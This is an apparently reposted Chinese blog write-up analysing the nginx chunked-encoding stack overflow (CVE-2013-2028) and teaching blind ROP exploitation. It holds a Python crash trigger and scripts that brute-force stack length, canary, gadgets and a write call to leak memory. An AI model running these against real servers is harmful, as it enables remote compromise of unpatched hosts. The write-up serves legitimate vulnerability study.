Nginx栈溢出分析

栏目: 服务器 · Nginx · 发布时间: 5年前

内容简介:分析 + 运行环境: ubuntu x64 + centos环境搭建:影响版本: nginx 1.3.9 - 1.4.0

分析 + 运行环境: ubuntu x64 + centos

环境搭建: https://github.com/kitctf/nginxpwn

影响版本: nginx 1.3.9 - 1.4.0

主要以此来学习BROP: 可以不需要知道该应用程序的源代码或者任何二进制代码进行攻击,类似 SQL 盲注。

基础铺垫

Nginx是一个轻量级的Web服务器,它还具有反向代理、电子邮件代理等功能,并且占内存小、并发强。

根据各模块功能,可以将它归纳为如下几种:

Nginx栈溢出分析

观察Nginx源码目录以及各自的功能如下:

core: 核心代码,包含一些数据结构
event: 事件驱动模型、定时器相关代码
http: http server相关代码
mail: mail代理服务器相关代码
misc: 辅助代码
os: 解决系统兼容性问题

Nginx中主要是以模块为分类:

1、Handler模块: 处理请求并产生输出

2、Filter模块: 处理Handler模块中的输出

3、Load-balancer模块,负责挑选出负载均衡中的某一台服务器

举例说明: 客户端请求过来,nginx便是由各个Handler模块处理http请求包,然后返回给客户端的时候,便会使用Filter模块对http响应包进行处理,包括其中响应头以及响应内容

一个HTTP请求流量中包含了几个点

1、请求包: 请求行、请求头、包体

2、响应包: 响应头、响应内容

Nginx接收HTTP数据并响应的整个过程如下: (/src/http/ngx_http_request.c)

Nginx栈溢出分析

1、解析请求行: ngx_http_process_request_line -> ngx_http_parse_request_line,将协议版本信息,url,请求方式等信息获取

2、解析请求头: ngx_http_process_request_headers -> ngx_http_parse_header_line

关于 ngx_http_request_t 数据结构,他是一个请求中最常用的结构,包括在 upstream 也是用它来描述的

typedef struct ngx_http_request_s     ngx_http_request_t;

struct ngx_http_request_s {
    ... 省略
      //ctx是自定义的上下文结构指针数组,若是HTTP框架,则存储所有HTTP模块上下文结构。其他的则是配置文件中的信息
    void                            **ctx;
    void                            **main_conf;
    void                            **srv_conf;
    void                            **loc_conf;
    
    // 请求头、响应头
    ngx_http_headers_in_t             headers_in;
    ngx_http_headers_out_t            headers_out;
    ngx_http_request_body_t          *request_body;
    
    // 下面是请求行解析后将会赋值到以下
    ngx_uint_t                        method;
    ngx_uint_t                        http_version;

    ngx_str_t                         request_line;
    ngx_str_t                         uri;
    ngx_str_t                         args;
    ngx_str_t                         exten;
    ngx_str_t                         unparsed_uri;
    ... 省略
}

typedef struct {
    ngx_list_t                        headers;
    ...省略
    ngx_str_t                         server;
    off_t                             content_length_n;
    time_t                            keep_alive_n;
} ngx_http_headers_in_t;

typedef struct {
    ngx_temp_file_t                  *temp_file;
    ngx_chain_t                      *bufs;
    ngx_buf_t                        *buf;
    off_t                             rest;
    off_t                             received;
    ngx_chain_t                      *free;
    ngx_chain_t                      *busy;
    ngx_http_chunked_t               *chunked;
    ngx_http_client_body_handler_pt   post_handler;
} ngx_http_request_body_t;

typedef struct ngx_http_chunked_s     ngx_http_chunked_t;

struct ngx_http_chunked_s {
    ngx_uint_t           state;
    off_t                size;
    off_t                length;
};

漏洞分析

1、静态分析

首先从 patch 来看

File: src/http/ngx_http_parse.c

data:
    ctx->state = state;
    b->pos = pos;
    ...省略
+    if (ctx->size < 0 || ctx->length < 0) {
+        goto invalid;
+    }

往上回溯寻找 goto data 调用的地方

ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx){
    ...省略
    state = ctx->state;
    for (pos = b->pos; pos < b->last; pos++) {
        switch (state) {
            ...省略
            case sw_chunk_data:
                rc = NGX_OK;
                goto data;
        }
    }
}

继续往上回溯寻找 ngx_http_parse_chunked 函数调用处,这里有两处,我以 ngx_http_discard_request_body_filter 作为分析

/src/http/ngx_http_request_body.c

static ngx_int_t ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b){
    size_t                    size;
    ngx_int_t                 rc;
    ngx_http_request_body_t  *rb;

    if (r->headers_in.chunked) {
        rb = r->request_body;
        ...省略
        for ( ;; ) {
            rc = ngx_http_parse_chunked(r, b, rb->chunked);
            if (rc == NGX_OK) {

                /* a chunk has been parsed successfully */
                size = b->last - b->pos;

                if ((off_t) size > rb->chunked->size) {
                    b->pos += rb->chunked->size;
                    rb->chunked->size = 0;

                } else {
                    rb->chunked->size -= size;
                    b->pos = b->last;
                }
                continue;
            }

            if (rc == NGX_DONE) {
                /* a whole response has been parsed successfully */
                r->headers_in.content_length_n = 0;
                break;
            }

            if (rc == NGX_AGAIN) {
                /* set amount of data we want to see next time */
                r->headers_in.content_length_n = rb->chunked->length;
                break;
            }

            /* invalid */
            ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                          "client sent invalid chunked body");

            return NGX_HTTP_BAD_REQUEST;
        }

    } else {
        size = b->last - b->pos;

        if ((off_t) size > r->headers_in.content_length_n) {
            b->pos += r->headers_in.content_length_n;
            r->headers_in.content_length_n = 0;

        } else {
            b->pos = b->last;
            r->headers_in.content_length_n -= size;
        }
    }

    return NGX_OK;
}

仔细发现这里面循环有一些 rb->chunked->lengthrb->chunked->size 的操作

再往上回溯便是 ngx_http_read_discarded_request_body

static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r){
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
    
    ...省略

    for ( ;; ) {
        ...省略
        size = (size_t) ngx_min(r->headers_in.content_length_n,
                                NGX_HTTP_DISCARD_BUFFER_SIZE);

        n = r->connection->recv(r->connection, buffer, size);
        ...省略
        rc = ngx_http_discard_request_body_filter(r, &b);
        
    }
}

在这里面首先 #define NGX_HTTP_DISCARD_BUFFER_SIZE 4096 ,存在一个 buffer 变量,其中长度最大为 4096

然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1)) ,看 headers_in.content_length_n 的大小是多少,如果小于4096的话将会把它的值给size。

接下来就是使用recv接收数据,这里要注意 recv函数 ,如果buffer比size小的话,接收过多数据时候会导致栈溢出问题。

当然这里看起来没问题,因为使用了ngx_min做了处理,但是要注意的是 headers_in.content_length_n 类型为off_t,也就是有符号的long型,如果他能够为负数,再通过将它转换为size_t类型,也就是无符号的unsigned int型,最终的数值会变得很大。

回到 ngx_http_discard_request_body_filter 上一个函数看 r->headers_in.chunked 条件中的 NGX_AGAIN 情况

if (rc == NGX_AGAIN) {
    /* set amount of data we want to see next time */
    r->headers_in.content_length_n = rb->chunked->length;
    break;
}

如果NGX_AGAIN的话, r->headers_in.content_length_n 的值将会被第二次的 rb->chunked->length 长度覆盖掉

继续往上找便是 ngx_http_read_discarded_request_body -> ngx_http_discarded_request_body_handler -> ngx_http_discard_request_body

回顾上面nginx请求的流程, ngx_http_discard_request_body 便是进行了丢弃http包体处理,它被多个modules进行调用,默认nginx安装后,请求的是一个静态资源,也就是 /src/http/modules/ngx_http_static_module.c 这个模块进行处理

再往上回溯步骤较多,可以通过gdb可以看看这个过程是如何调用到的

Nginx栈溢出分析

2、动态调试

编译安装nginx

./configure --prefix=/opt/nginx/nginx1_3_9 --sbin-path=/opt/nginx/nginx1_3_9/sbin/nginx --conf-path=/opt/nginx/nginx1_3_9/conf/nginx.conf --with-http_stub_status_module --with-http_ssl_module

make && make install

# 测试配置是否通过
./nginx -t
./nginx

gdb调试

ps aux | grep nginx # 找到对应pid
gdb      # 进行调试

Nginx栈溢出分析

attach 14561    # 依附worker process
stop
b ngx_http_init_connection
continue

p *(struct ngx_http_request_s*)0x6d2070

Nginx栈溢出分析

回过头来看 ngx_http_discard_request_body_filter 函数,其中有一个条件是 if (r->headers_in.chunked)

static ngx_int_t ngx_http_process_request_header(ngx_http_request_t *r){
    ...省略
        if (r->headers_in.transfer_encoding) {
        if (r->headers_in.transfer_encoding->value.len == 7
            && ngx_strncasecmp(r->headers_in.transfer_encoding->value.data,
                               (u_char *) "chunked", 7) == 0)
        {
            r->headers_in.content_length = NULL;
            r->headers_in.content_length_n = -1;
            r->headers_in.chunked = 1;
」

设置头部为 transfer-encoding: chunked ,并且post一些数据才能进入ngx_http_parse_chunked

GET / HTTP/1.1
Host: love.lemon:6969
transfer-encoding: chunked
Content-Length: 7

616263

ngx_http_parse_chunked的开始state是sw_chunk_start,然后进入sw_chunk_size,也就是获取post过来的chunked数据,数据是16进制编码

case sw_chunk_size:
    if (ch >= '0' && ch <= '9') {
        ctx->size = ctx->size * 16 + (ch - '0');
        break;
    }
    
    c = (u_char) (ch | 0x20);
    
    if (c >= 'a' && c <= 'f') {
        ctx->size = ctx->size * 16 + (c - 'a' + 10);
        break;
    }

最后 ctx->size 将会把值给 ctx->length ,这里要注意size和length都是off_t类型

case sw_chunk_size:
    ctx->length = 2 /* LF LF */
                  + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

Nginx栈溢出分析

这个时候可以返回到漏洞触发点处, r->headers_in.content_length_n 将会等于 rb->chunked->length ,即 headers_in.content_length_n 的长度是被我们所控的,现在就是需要看传入什么值才能够为负数。

raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)
raw += 'f' * (1024 - len(raw) - 16)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ip', port))

data1 = raw
data1 += "f0000000"
data1 += "00000060" + "\r\n"
s.send(data1)

s.send("B" * 6000)
s.close()

这个要注意的是,nginx第一次接受到Http请求的时候,其中会接受1024长度,如果超过了它,便会进入NGX_AGAIN,然后会revc后面的数据。

Nginx栈溢出分析

可以看到传入 f000000000000060 的时候,便可以覆盖了 $rbp ,最终 nginx: worker process 崩溃重启。

这里注意的一点是,在Ubuntu 14.04下测试的时候发现,recv函数原型: recv(r, buf, len, xxx),其中len如果过大,会直接返回0xffffffff,导致buffer没有被传入的数据覆盖。但是在centos下测试ok

Exploit构写 - brop学习

终于到exp构写了,首先查看一下程序的保护机制。

Nginx栈溢出分析

下面将一步步的学习一下brop,wooyun早已有mctrain前辈 分享过原理

brop就是不需要源代码、程序,并且绕过各种保护机制: NX、ASLR、PIE、Canary,有点类似SQL盲注,当然第一步是需要注入漏洞点是在何处。第二步就是,服务器进程在crash之后会重新复活,并且复活的进程不会被re-rand,这样地址随机化并不会改变,nginx符合这样的情况,因为通常情况下nginx是存在一个master和多个worker,worker挂掉后便会重新启动复活。

回顾一下通常情况下的pwn利用,在brop中我们也需要如此的寻找我们需要的值,其步骤如下:

  • 判断栈溢出长度
  • 获取canaries值
  • 寻找gadgets,比如输出函数write、puts等函数,当然还有控制他们的参数值
  • exploit

这里要注意的是一个坑,要是想远程打的话,还需要对tcp做处理,不然nginx要接收到溢出字符就得看人品了。为了复现漏洞,仅从本地开始复现

获取栈溢出长度以及canary值

常见的栈布局如下:

Nginx栈溢出分析

1、获取栈溢出长度,可以通过不断的去填充缓冲区,当它破坏canary的时候就会出现crash

def get_stack_len(nginx):
    result = []
    for i in range(150):
        print i,'th get_stack_len'
        pad_data = 'c' * 8 * i
        if nginx.send_data(pad_data) == False:
            print 'Find It: ', i
            result.append(i)
            time.sleep(1)
    return result

先按8位一组一组的找,找到大概区间,再为了精准找到字节

Nginx栈溢出分析

这里可以发现我们136(17 * 8)位出现了异常,后面则需要继续一位一位的爆破

2、爆破canary值

爆破canary有点区别,它需要一个字节一个字节的爆破,并不是按8个一组直接来,流程图如下:

Nginx栈溢出分析

def get_canary(nginx, stack_len):
    result = []
    for j in range(256):
        tmp = ['c' * stack_len, p64(0), ]
        log.info("%dth data find..." % j)
        tmp.append(p8(j))
        pad_data = flat(tmp)
        if nginx.send_data(pad_data) == True:
            print 'Find It: ', j
            result.append(j)
            break
        time.sleep(1)
    return result

寻找gadget

1、stop gadget: 当执行这段代码的时候,不会造成crash,但程序会进入无限循环,这样使得攻击者能够一直保持连接状态。类似sleep,当想寻找其他gadget的时候,它将会给我们一些判断寻找的gadget是否是正确的。

def get_hang_gadget(nginx):
    begin_addr = TEXT_ADDR
    while True:
        print 'Log burst add: ', hex(begin_addr)
        pad_data = flat(['a' * 120, p64(0), p64(0), p64(begin_addr)])

        start = time.time()
        print nginx.send_data(pad_data)
        end = time.time()

        if end - start > 3:
            print 'Find it: ', hex(begin_addr)
            break
        sleep(0.2)

        begin_addr += 1

得到一个 0x404c02 的hang gadget

Nginx栈溢出分析

2、寻找的gadget当然是需要有用的,比如 pop rdi; ret ,这里就需要使用stop gadget,如果是 pop rdi; ret 的话,它后面ret进入的是stop gadget,而如果是其他的gadget,那么在之前就不能被ret,也就无法进入sleep(stop gadget)

Nginx栈溢出分析

x64下一般是有通用的gadgets的,比如 __libc_csu_init 函数中,通常是 pop_junk_rbx_rbp_r12_r13_r14_r15_ret ,在此gaadgets上还有一个 mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
也就是意味着很多寄存器可以控制,并且可以调用想要的函数

中间填充7个无效地址,用于pop数据,最后加入一个stop gadhet,通过不断爆破地址,如果crash就表明不是,如果stop了则寻找到了。

其中结构图如下:

Nginx栈溢出分析

def get_useful_gadget(nginx, hang_gadget):
    begin_addr = 0x4AAA00
    while True:
        print 'Log burst add: ', hex(begin_addr)

        data = 'a' * 120
        data += p64(0) + p64(0)
        data += p64(begin_addr) + p64(0) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
        data += p64(hang_gadget)

        start = time.time()
        print nginx.send_data(data)
        end = time.time()

        if end - start > 3:
            print 'Find it: ', hex(begin_addr)
            break
        sleep(0.2)

        begin_addr += 1

为了节约点时间,将爆破起点调为 0x4AAA00

Nginx栈溢出分析

可以得到 0x4AAA8f 这个地址,跟入看看是什么情况。

Nginx栈溢出分析

往下走的时候,可以看到 0x4AAAa8 处跳转到了 0x4AAAc6 ,也就是我们的目的地,对寄存器进行布局的地方。

Nginx栈溢出分析

由于 0x4AAA8f 地址是第一个爆破到的,因为这个是属于Libc函数,它到目的地 0x4AAAc6 的距离是不变的。也就是如果接下来好几个值都可以成功,那么通过 0x4AAA8f + 55 = 0x4AAAc6

dump内存 - write、puts

一般可以使用puts、write来读取内存的值

一、puts函数

puts需要一个参数,其中是rdi的值。如果程序没有开启PIE,0x400000则是ELF头部,也就是值为 \x7fELF

二、write

write(int sock,void *buf,int len)

汇编代码:
pop %rdi ret
pop %rsi ret
pop %rdx ret
call write ret

$rdi -> sock、%rsi -> buf、%rdx -> len

在回到IDA中查看,也可以找到此处(如果不是brop的话,可以找找csu_init函数,然后找到此处地址)

Nginx栈溢出分析

上面获取的 0x4AAAc6 处,表明了可以控制rbx,rbp,r12,r13,r14,r15

0、 0x4AAAB6 出是 mov edi, r13d ,只能控制rdi的低32位

1、 0x4AAAB3 处是 mov rsi, r14 ,也就说明 rsi 可控

2、 0x4AAAB0 处是 mov rdx, r15 ,也就说明 rdx 可控

看起来也是很麻烦的,因为文件描述符的值是rdi控制的,而且这里是低32位,不过对于write已经足够了。为了增加命中,1、可以同时打开多个连接,2、chain多个rop,每个rop的文件描述符不一样

另外对于文件描述符还有一些特征,1、 linux 默认最多只能打开1024个,2、posix 标准每次申请的文件描述符数值总是当前最小可用数值,可以看到我当前的连接就是找到最小可用的 3

Nginx栈溢出分析

这里结合优化后的csu是不行的,因为没有pop,所以构造不了 pop rdi;ret0x4AAAB6 地方的 call 调用也没法用,因为需要一个got地址,如果是pop就很好处理, pop rdi;ret; ,后面再放一个write的plt地址。

这里为了漏洞测试,暂时用got的write地址继续。

def find_func(nginx, payload, hang_gadget):
    data = 'a' * 120
    data += p64(0) + p64(0)
    data += payload
    data += p64(hang_gadget)

    start = time.time()
    status = nginx.send_data(data)
    end = time.time()

    if end - start > 3:
        return 0

    if status:
        return 1
    else:
        return -1

def csu(csu_end_addr, rbx, rbp, r12, r13, r14, r15, call_addr):
    # rdi = edi = r13d
    # rsi = r14
    # rdx = r15
    payload = ''
    payload += p64(csu_end_addr)
    # ??? add rsp, 38h
    payload += p64(0)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)

    ####### mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    csu_front_addr = csu_end_addr - 0x16
    payload += p64(csu_front_addr)
    payload += p64(call_addr)
    return payload

def find_write_func(nginx, csu_end_addr, hang_gadget):
    #for i in range(50):
    begin_addr = TEXT_ADDR
    begin_addr = 0x404DB8
    write_got = 0x6C73A8
    #while True:
    
    print 'th Log burst add: ', hex(begin_addr)

    #     addr , x, x, write, file_, buf, len
    payload = csu(csu_end_addr, 0, 1, write_got, 3, 0x400000, 10, begin_addr)

    if find_func(nginx, payload, hang_gadget) == 0:
        print 'Find it: ',begin_addr

    #begin_addr += 1
    sleep(0.5)

把elf内容导出来

Nginx栈溢出分析

编译的时候gcc优化了, pop rbx; pop rbp; pop r12 被优化为 mov 形式,如果不优化的话,exp将好写很多,因为 pop 操作是操作寄存器后还有 ret ,栈桢在之前就已经开辟了,这样我们可以通过更变不同的参数来精准猜解这个位置。

Payload1 = 'a'*len + l64(addr-1)+l64(0)+l64(ret) 
Payload2 = 'a'*len + l64(addr)+l64(0)+l64(ret) 
Payload3 = 'a'*len + l64(addr+1) +l64(ret)

Nginx栈溢出分析

pop r15;ret 字节码为 41 5f c3 ,后两字节码 5f c3 对应的汇编为 pop rdi;ret ,说明了 rdi 可控

另外 5e 也表示着 pop rsi

rdx 也可以通过调用 strcmp 函数,该函数调用会把字符串的长度赋值给 %rdx ,从而达到控制它。当然我觉得最方便的应该还是往上偏移找到 mov rdx, r13 的gadget。

Nginx栈溢出分析

三、寻找strcmp

如何寻找strcmp plt ?

PLT是一个跳转表,大多数的PLT不会因为传进的参数而crash,因为它们很多都是系统调用,都会对参数进行检查,如果有错误会返回EFAULT而已,并不会造成进程crash。

它还有一个特征: 每一个项都是16个字节对齐,其中第0个字节开始的地址指向改项对应函数的fast path,而第6个字节开始的地址指向了该项对应函数的slow path

所以有一段连续的16个字节对齐的地址都不会造成进程crash,而且这些地址加6得到的地址也不会造成进程crash,这也就是进入了PLT中

Nginx栈溢出分析

int strcmp(const char *s1, const char *s2);
s1 -> rdi、 s2 -> rsi

可以通过以下的搭配特征来确认一个地址是否是strcmp plt

arg1 | arg2 | result
:--: | :--: | :--:
readable | 0x0 | crash
0x0 | readable | crash
0x0 | 0x0 | crash
readable | readable | nocrash

pwn

前面用csu的时候就差不多是把write地址也可以泄露出来, 0x7f212f4617a0

Nginx栈溢出分析

后面便是dump内存进行pwn

Referer

理解 Nginx 源码

【技术分享】BROP Attack之Nginx远程代码执行漏洞分析及利用

nginx security advisory (CVE-2013-2028)

Nginx开发从入门到精通

Nginx 1.3.9、1.4.0缓冲区溢出漏洞以及64位下的漏洞利用分析

C语言中的size_t类型

基础栈溢出复习 四 之 BROP

cve-2013-2028

Linux中通过Socket文件描述符寻找连接状态介绍

brop


以上所述就是小编给大家介绍的《Nginx栈溢出分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

A Philosophy of Software Design

A Philosophy of Software Design

John Ousterhout / Yaknyam Press / 2018-4-6 / GBP 14.21

This book addresses the topic of software design: how to decompose complex software systems into modules (such as classes and methods) that can be implemented relatively independently. The book first ......一起来看看 《A Philosophy of Software Design》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具